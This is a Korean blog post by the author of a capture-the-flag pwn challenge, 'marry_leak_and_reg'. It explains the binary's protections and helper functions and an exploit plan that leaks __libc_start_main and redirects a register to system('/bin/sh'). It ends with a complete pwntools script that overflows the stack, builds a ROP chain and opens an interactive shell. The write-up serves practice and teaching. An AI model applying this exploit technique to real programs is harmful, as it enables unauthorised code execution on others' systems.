hOwDayS 선린 10720

[pwn][해설] marry_leak_and_reg 본문

문제제작

[pwn][해설] marry_leak_and_reg

hOwDayS 2018. 7. 12. 22:50




처음으로 의도를 생각하면서 만든 문제입니다.

함수가 어셈을 보지 않는 이상 알 수 없어 약간 꼼꼼 숨겨 있는 감이 있습니다.

이런점을 보완해 다음 문제는 더 좋게 만들겠습니다.

힙찔이라 힙문제는 많이 공부한 후에 출시하겠습니다.

읽으시고 unintend solution으로 푸신 분들은 시간을 조금만 내서

비밀댓글로 익스플로잇코드 부탁드립니다 ㅠㅠ





RELRO 

 Partial RELRO

Stack Canary

No canary Found 

 NX

NX Enabled 

 PIE

No PIE 





메인 함수입니다.


메인의 중요한부분



atoi로 받은 값을 절댓값으로 처리한다음 ebx에 더해줍니다.


( 이 부분 부터는 익스플로잇할 때의 순서에 맞춰 설명 하겠습니다. )


0x08048470 함수



여기에서는 주소를 인자로 받은 다음 주소안에 있는 내용을 eax레지스터로 옮겨주는 부분입니다.


 함수



eax레지스터에 있는 값을 ebx레지스터에 복사시킵니다.


0x0804845B 함수



여기에서는 "/bin/sh"가 있는 주소를 인자로 ebx를 호출 시킵니다.

쉽게 설명하면 ebx(aBinSh);





화면으로 출력하는 함수가 없기에


직접적 릭은 못합니다.


하지만 0x08048470 함수를 이용해 eax레지스터에 릭할 수 있습니다.


( 제목을 지은 이유 )


유의 사항 :  릭할 타겟은 system함수보다 오프셋이 낮은 

__libc_start_main을 이용해야 합니다.





익스플로잇 시나리오는 이러합니다.


1. 0x08048470 함수로 로 릭함 ( eax )


2. 0x08048468 함수로 레지스터 값 옮겨줌 (ebx=eax)


3. 메인을 통해 ebx값을 오프셋을 이용해 system함수로 이동하게함

 { fabs(절댓값)함수가 있으므로 Leak 유의사항을 읽으셔야 합니다!! }


4. 0x0804845B 호출 






1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
 
= process("./marry_leak_and_reg")
= ELF("./marry_leak_and_reg")
 
context.terminal = ['gnome-terminal','-x','sh','-c']
 
 
main = 0x0804847E
useone = 0x08048470
usetwo = 0x08048468
shell = 0x0804845B
pr = 0x0804858B
 
## STAGE1 LEAK ##
 
#raw_input()
stage1 = 'e' * 0x108
stage1 += "AAAA"
stage1 += p32(useone)
stage1 += p32(pr)
stage1 += p32(e.got['__libc_start_main'])
stage1 += p32(usetwo)
stage1 += p32(main)
log.info("Stage 1: " + str(len(stage1)))
p.send(stage1)
 
 
## STAGE2 EXPLOIT ##
 
# SEND OFFSET system - __libc_start_main = 141408 
p.sendline("141408")
stage2 = 'e' * 0x108
stage2 += 'AAAA'
stage2 += p32(shell)
p.sendline(stage2)
p.interactive()
 
 
 
cs




'문제제작' 카테고리의 다른 글

[pwn][문제] marry_leak_and_reg  (2) 2018.07.07
Comments